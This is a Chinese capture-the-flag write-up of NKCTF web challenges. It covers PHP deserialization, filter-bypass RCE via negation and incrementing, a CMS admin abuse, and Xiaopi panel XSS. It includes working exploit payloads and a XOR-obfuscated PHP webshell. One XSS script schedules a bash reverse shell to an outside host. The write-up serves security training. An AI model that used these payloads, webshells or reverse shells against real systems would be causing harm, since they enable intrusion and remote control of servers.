tl;dr

为什么全是php

WEB

baby_php

exp

<?php
error_reporting(0);
class Welcome{
    public $name;
    public $arg;
    public function __construct(){
        $this->name = 'welcome_to_NKCTF';
    }
}
class Happy{
    public $shell;
    public $cmd;
    public function __construct()
    {
        $this->shell="system";
        $this->cmd="more /[e-h][1-z][1-b][e-h]";
    }
}
class Hell0{
    public $func;
    public function __construct()
    {
        $this->func=new Happy();
    }
}
$w=new Welcome();
$w->arg=new Hell0();
echo serialize($w);

eazy_php

  1. 弱比较md5,没转string,数组绕过 ?a[]=1&b[]=2

  2. 强转string并且是强比较,随便搜一搜就能搜到(用burp传

  3. e=114514.1

  4. php解析错误,会把[解析成_并且后面的符号不处理:NS[CTF.go

  5. 无字母数字RCE,取反绕过即可

    <?php
    $ans1='system';//函数名
    $ans2='ls /';//命令
    $data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
    $data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
    echo ('('.$data1.')'.'('.$data2.')'.';');
    

payload:

POST /?a[]=1&b[]=2&e=114514.1&NS[CTF.go=1 HTTP/1.1
Host: 0e24c0a9-4d3e-4a99-afc9-001ed884b1f0.node2.yuzhian.com.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 1342

c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

easy_pms

参考链接

bin目录下貌似缺一些命令,tac /flag就可以了。

tac /flag

hard_php

常见的取反~,异或^都被过滤,但是[ ]+$可以用,通过自增的方法进行RCE绕过。

<?php
//用 ___ 代替 0
$_=(_/_._)[___]; // NAN 取 N
$__=++$_; // O
$_____=++$_.$__; // PO
++$_/++$_;
$_=_.$_____.=++$_.++$_; // _.POST
$$_[___]($$_[_]);  //$_POST[___]($_POST[_])

去掉换行和注释即可,注意url编码。

查看phpinfo发现disable_function过滤了很多,直接readfile盲打成功。

payload:

NKCTF=%24_%3D(_%2F_._)%5B___%5D%3B%24__%3D%2B%2B%24_%3B%24_____%3D%2B%2B%24_.%24__%3B%2B%2B%24_%2F%2B%2B%24_%3B%24_%3D_.%24_____.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B___%5D(%24%24_%5B_%5D)%3B&___=readfile&_=/flag

webpagetest

又是phar,直接复现就完事儿了。

传送门

因为是用新买的笔记本打的,php环境啥的都没装。修改phar.readonly浪费了俩小时的时间,尼玛php.ini的优先级竟然不是最高的。

easy_cms

笑嘻了。环境一开始不是这样的,弱口令也不是admin。后来再开了一遍发现环境变了,访问/dede,admin/admin登录后台。

检索的过程中竟然发现有后台RCE漏洞,我寻思你都最高权限进后台了,直接进系统设置->其它设置把过滤的东西删了,然后进入附件设置,设置允许传入php。

有个检测一句话的waf,免杀一句话很多,随便搞一个传上去即可。

<?php ${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))]); ?>
    // ?k=system        POST:k=cat /f1Aggg 

xiaopi

访问404,群主说不需要爆破扫描,那就本地开一个小皮看一看到底有什么不一样。

小皮日志xss RCE,登录请求会被日志记录下来,加载页面会读取日志并且渲染出来,而小皮后台可以写定时任务,因此我们只要引入一个恶意xss,admin登陆进去触发xss,写入定时任务即可RCE。

后来发现少一个请求头X-Requested-With,添加上就可以了。

1679900305410

经过一番测试发现不是弱口令,但题目说:之后的每一天还总是登录到后台去部署服务。因此我们只要引入一个xss就好了。

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
        
      
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="15";
  data.minute = "40"; //定时任务时间设置要对
  data.shell='bash -i >& /dev/tcp/x.x.x.x/330 0>&1'; //问了一下汪汪队师傅,傻逼了忘记有弹shell这个操作了,看来还是得经常打比赛。
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

总结

除了密码学其他方向应该都不难捏。

和乙组的师傅临时组的夕阳红队伍,水平应该在乙组初级~中级这个区间。比赛的时候师兄边准备开题报告边re,我们也要写作业忙科研项目,在这个时间节点能在一起讨论比赛提升技术真是太好了。希望以后每个月都能打一场捏。